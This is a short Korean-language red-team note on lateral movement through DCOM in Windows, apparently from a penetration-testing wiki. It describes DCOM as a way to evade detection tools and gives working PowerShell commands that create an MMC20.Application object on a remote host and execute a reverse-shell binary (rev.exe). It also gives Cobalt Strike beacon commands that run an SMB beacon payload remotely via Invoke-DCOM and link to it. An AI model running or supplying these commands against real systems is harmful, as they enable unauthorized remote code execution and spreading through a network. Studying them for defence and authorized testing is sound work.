Distributed Component Object Model은 PowerShell 환경에서 사용할 수 있는 Windows의 내장 기능이기 때문에 솔루션 탐지를 피할 수 있는 측면이동의 방법으로 사용되는 기능입니다.
DCOM은 네트워크 패킷을 통해서 로컬에서 명령을 내리는 것과 같이 원격 명령 실행이 가능한데, 패킷을 전송하는 프로토콜이 RPC이며, Windows에서 기본적으로 제공하는 프로토콜인 135번 msrpc를 이용합니다. 따라서 135번 포트가 양측 모두 활성화 되어있는 상태에서 DCOM을 이용할 수 있습니다.
# ProgID 값 구하기
Get-ChildItem 'registry::HKCR\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
# COM 객체 생성
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1",<IP>))
# 원격 명령 실행
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\Windows\Temp\rev.exe","7")
코발트 스트라이크에서는 DCOM과 상호작용하는 내장 기능을 제공하지 않기 때문에 외부 라이브러리를 통해 측면 이동을 수행해야 합니다.
# 클라이언트에 있는 라이브러리를 비콘에 임포트
beacon> powershell-import C:\Tools\Invoke-DCOM.ps1
# DCOM을 통해 원격에서 페이로드 실행 명령
beacon> powershell Invoke-DCOM -ComputerName web.dev.pentesting.wiki -Method MMC20.Application -Command C:\Windows\smb_x64.exe
# 타겟 시스템에서 열린 파이프에 접근하여 비콘 연결
beacon> link web.dev.cyberbotic.io <SMB Pipename>
여기서 SMB Pipe 이름은 SMB 리스너를 생성할 때 Pipename으로 설정한 값입니다.